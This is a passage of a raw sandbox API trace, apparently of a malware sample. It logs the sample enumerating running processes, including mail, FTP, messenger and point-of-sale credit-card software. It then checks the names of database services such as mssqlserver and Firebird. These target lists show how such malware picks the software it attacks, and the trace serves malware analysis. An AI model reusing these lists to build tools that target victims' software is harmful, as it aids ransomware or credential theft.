lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0038.170] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0038.170] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0038.171] lstrlenW (lpString="icq.exe") returned 7 [0038.171] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0038.172] lstrlenW (lpString="leechftp.exe") returned 12 [0038.172] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0038.173] lstrlenW (lpString="ncftp.exe") returned 9 [0038.173] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0038.174] lstrlenW (lpString="notepad.exe") returned 11 [0038.174] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0038.175] lstrlenW (lpString="operamail.exe") returned 13 [0038.175] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0038.175] lstrlenW (lpString="pidgin.exe") returned 10 [0038.175] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0038.176] lstrlenW (lpString="scriptftp.exe") returned 13 [0038.176] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0038.177] lstrlenW (lpString="skype.exe") returned 9 [0038.177] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0038.178] lstrlenW (lpString="smartftp.exe") returned 12 [0038.178] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0038.179] lstrlenW (lpString="thunderbird.exe") returned 15 [0038.179] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0038.180] lstrlenW (lpString="totalcmd.exe") returned 12 [0038.180] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0038.180] lstrlenW (lpString="trillian.exe") returned 12 [0038.180] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0038.181] lstrlenW (lpString="webdrive.exe") returned 12 [0038.181] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0038.182] lstrlenW (lpString="whatsapp.exe") returned 12 [0038.182] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0038.183] lstrlenW (lpString="winscp.exe") returned 10 [0038.183] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0038.183] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0038.183] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0038.184] lstrlenW (lpString="active-charge.exe") returned 17 [0038.184] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0038.185] lstrlenW (lpString="accupos.exe") returned 11 [0038.185] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0038.186] lstrlenW (lpString="afr38.exe") returned 9 [0038.186] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0038.186] lstrlenW (lpString="aldelo.exe") returned 10 [0038.186] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0038.187] lstrlenW (lpString="ccv_server.exe") returned 14 [0038.187] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0038.188] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0038.188] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0038.188] lstrlenW (lpString="creditservice.exe") returned 17 [0038.188] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0038.189] lstrlenW (lpString="edcsvr.exe") returned 10 [0038.189] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0038.190] lstrlenW (lpString="fpos.exe") returned 8 [0038.190] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0038.190] lstrlenW (lpString="isspos.exe") returned 10 [0038.190] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0038.192] lstrlenW (lpString="mxslipstream.exe") returned 16 [0038.192] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0038.192] lstrlenW (lpString="omnipos.exe") returned 11 [0038.192] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0038.193] lstrlenW (lpString="spcwin.exe") returned 10 [0038.193] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0038.194] lstrlenW (lpString="spgagentservice.exe") returned 19 [0038.194] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0038.194] lstrlenW (lpString="utg2.exe") returned 8 [0038.194] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="burner.exe")) returned 1 [0038.195] lstrlenW (lpString="burner.exe") returned 10 [0038.195] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0038.196] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0038.196] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0038.196] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0038.196] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0038.197] lstrlenW (lpString="dllhost.exe") returned 11 [0038.197] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0038.198] lstrlenW (lpString="dllhost.exe") returned 11 [0038.198] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0038.198] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0038.198] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0038.199] lstrlenW (lpString="cmd.exe") returned 7 [0038.199] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0038.199] lstrlenW (lpString="conhost.exe") returned 11 [0038.199] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0038.200] CloseHandle (hObject=0x19c) returned 1 [0038.200] Sleep (dwMilliseconds=0x1f4) [0039.148] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x59fb68 [0039.148] EnumServicesStatusExW (in: hSCManager=0x59fb68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 0 [0039.149] GetLastError () returned 0xea [0039.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x134c) returned 0x37f3708 [0039.149] EnumServicesStatusExW (in: hSCManager=0x59fb68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37f3708, cbBufSize=0x134c, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37f3708, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 1 [0039.150] CloseServiceHandle (hSCObject=0x59fb68) returned 1 [0039.150] lstrlenW (lpString="Appinfo") returned 7 [0039.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0039.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0039.150] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0039.150] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0039.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0039.150] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0039.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0039.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0039.151] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0039.151] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0039.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0039.151] lstrlenW (lpString="AudioSrv") returned 8 [0039.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0039.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0039.151] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0039.151] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0039.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0039.151] lstrlenW (lpString="BFE") returned 3 [0039.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0039.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0039.151] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0039.151] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0039.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0039.151] lstrlenW (lpString="CryptSvc") returned 8 [0039.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0039.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0039.151] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0039.151] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0039.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0039.151] lstrlenW (lpString="CscService") returned 10 [0039.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0039.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0039.151] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0039.151] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0039.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0039.152] lstrlenW (lpString="DcomLaunch") returned 10 [0039.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0039.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0039.152] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0039.152] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0039.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0039.152] lstrlenW (lpString="Dhcp") returned 4 [0039.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0039.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0039.152] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0039.152] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0039.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0039.152] lstrlenW (lpString="Dnscache") returned 8 [0039.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0039.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0039.152] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0039.152] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0039.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0039.152] lstrlenW (lpString="DPS") returned 3 [0039.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0039.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0039.152] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0039.152] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0039.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0039.152] lstrlenW (lpString="eventlog") returned 8 [0039.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0039.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0039.152] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0039.153] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0039.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0039.153] lstrlenW (lpString="EventSystem") returned 11 [0039.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0039.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0039.153] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0039.153] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0039.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0039.153] lstrlenW (lpString="FontCache") returned 9 [0039.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0039.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0039.153] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0039.153] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0039.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0039.153] lstrlenW (lpString="gpsvc") returned 5 [0039.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0039.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0039.153] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0039.153] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0039.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0039.153] lstrlenW (lpString="iphlpsvc") returned 8 [0039.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0039.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0039.153] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0039.153] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0039.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0039.153] lstrlenW (lpString="LanmanServer") returned 12 [0039.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0039.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0039.154] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0039.154] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0039.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0039.154] lstrlenW (lpString="LanmanWorkstation") returned 17 [0039.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0039.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0039.154] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0039.154] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0039.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0039.154] lstrlenW (lpString="lmhosts") returned 7 [0039.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0039.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0039.154] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0039.154] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0039.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0039.154] lstrlenW (lpString="MMCSS") returned 5 [0039.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0039.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0039.154] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0039.154] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0039.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0039.154] lstrlenW (lpString="MpsSvc") returned 6 [0039.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0039.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0039.154] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0039.154] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0039.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0039.154] lstrlenW (lpString="Netman") returned 6 [0039.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0039.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0039.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0039.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0039.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0039.155] lstrlenW (lpString="netprofm") returned 8 [0039.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0039.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0039.155] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0039.155] lstrcmpiW 